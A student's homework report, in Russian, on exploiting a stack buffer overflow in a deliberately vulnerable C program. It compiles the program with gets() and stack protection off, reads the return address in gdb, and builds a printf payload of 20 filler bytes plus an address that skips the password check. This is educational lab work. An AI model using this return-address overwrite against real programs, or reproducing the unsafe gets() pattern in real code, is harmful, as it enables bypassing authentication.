

ОТЧЕТ

Домашнее задание №5 — Функции

Выполнил: Коваленко Дмитрий

```
gdb ex

> gcc ex.c -o ex -g -fno-stack-protector -no-pie
ex.c: In function 'IsPassOk':
ex.c:25:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
   25 |     gets(Pass);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccOLUmd0.o: in function 'IsPassOk':
/home/komal-tyt/Desktop/work/academy_eltex/Task_5/ex.c:25:(.text+0x71): warning: the 'gets' function is dangerous and should not be used.
> ls
ex  ex.c
> cd ~/Desktop/work/academy_eltex/Task_5 | main ?1
> gdb ex
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ex...
(gdb) 
```

1) Первым делом скомпилировал программу с нужными параметрами и запустил отладчик gdb

```

Breakpoint 1 at 0x4011a2: file ex.c, line 10.
(gdb) r
Starting program: /home/komal-tyt/Desktop/work/academy_eltex/Task_5/ex

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbini
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at ex.c:10
warning: Source file is more recent than executable.
10      puts("Enter your password:");
(gdb) disas
Dump of assembler code for function main:
   0x0000000000401196 <+0>:      endbr64
   0x000000000040119e <+4>:      push    %rbp
   0x000000000040119b <+5>:      mov     %rsp,%rbp
   0x000000000040119e <+8>:      sub     $0x10,%rsp
=> 0x00000000004011a2 <+12>:     lea     0xe5b(%rip),%rax      # 0x402004
   0x00000000004011a9 <+19>:     mov     %rax,%rdi
   0x00000000004011ac <+22>:     call    0x401070 <puts@plt>
   0x00000000004011b1 <+27>:     call    0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:     mov     %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:     cmpl    $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:     jne     0x4011d8 <main+66>
   0x00000000004011bf <+41>:     lea     0xe53(%rip),%rax      # 0x402019
   0x00000000004011c6 <+48>:     mov     %rax,%rdi
   0x00000000004011c9 <+51>:     call    0x401070 <puts@plt>
   0x00000000004011ce <+56>:     mov     $0x1,%edi
   0x00000000004011d3 <+61>:     call    0x4010a0 <exit@plt>
   0x00000000004011d8 <+66>:     lea     0xe40(%rip),%rax      # 0x402027
   0x00000000004011df <+73>:     mov     %rax,%rdi
   0x00000000004011e2 <+76>:     call    0x401070 <puts@plt>
   0x00000000004011e7 <+81>:     mov     $0x0,%eax
   0x00000000004011ec <+86>:     leave
   0x00000000004011ed <+87>:     ret
End of assembler dump.
(gdb) █

```

2) Поставил breakpoint на функцию main, дисассемблировал и нашел адрес возврата ветки, где пароль подошел корректно это 0x00000000004011d8

```

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ex...
(gdb) b IsPassOk
Breakpoint 1 at 0x4011fa: file ex.c, line 25.
(gdb) r
Starting program: /home/komal-tyt/Desktop/work/academy_eltex/Task_5/ex

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbini
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your password:

Breakpoint 1, IsPassOk () at ex.c:25
warning: Source file is more recent than executable.
25      gets(Pass);
(gdb) disas
Dump of assembler code for function IsPassOk:
   0x00000000004011ee <+0>:      endbr64
   0x00000000004011f2 <+4>:      push    %rbp
   0x00000000004011f3 <+5>:      mov     %rsp,%rbp
   0x00000000004011f6 <+8>:      sub     $0x10,%rsp
=> 0x00000000004011fa <+12>:     lea     -0xc(%rbp),%rax
   0x00000000004011fe <+16>:     mov     %rax,%rdi
   0x0000000000401201 <+19>:     mov     $0x0,%eax
   0x0000000000401206 <+24>:     call    0x401090 <gets@plt>
   0x000000000040120b <+29>:     lea     -0xc(%rbp),%rax
   0x000000000040120f <+33>:     lea     0xe21(%rip),%rdx      # 0x402037
   0x0000000000401216 <+40>:     mov     %rdx,%rsi
   0x0000000000401219 <+43>:     mov     %rax,%rdi
   0x000000000040121c <+46>:     call    0x401080 <strcmp@plt>
   0x0000000000401221 <+51>:     test    %eax,%eax
   0x0000000000401223 <+53>:     sete    %al
   0x0000000000401226 <+56>:     movzbl  %al,%eax
   0x0000000000401229 <+59>:     leave
   0x000000000040122a <+60>:     ret
End of assembler dump.
(gdb) 

```

3) Потом тоже самое сделал с функцией IsPassOk. Надо посчитать через сколько байт начинается адрес возврата на функцию main, как я понял на адресе 0x00000000004011fa выделяется 12 байт на массив Pass, далее идет 8 байт на сохраненный rbp и следующие 8 байт на адрес возврата, то есть $12 + 8 = 20$ байт, а после идет как раз таки 8 байт адреса возврата, который нам нужно перезаписать.

```

> touch test.txt
> ls
ex  ex.c  test.txt
> printf "AAAAAAAAAAAAAAAAAAAA\xd8\x11\x40\x00\x00\x00\x00" > test.txt
> cat test.txt
AAAAAAAAAAAAAAAAAAAA\0%
> ex < test.txt
> ./ex < test.txt
Enter your password:
Access granted!
[1] 10323 bus error (core dumped) ./ex < test.txt
~/Desktop/work/academy_eltex/Task_5 | main ?1

```

4) Создал txt файл, чтобы записать в него 20 байт каких-то символов, а дальше 8 байт адреса возврата на нужную нам ветку в функции main.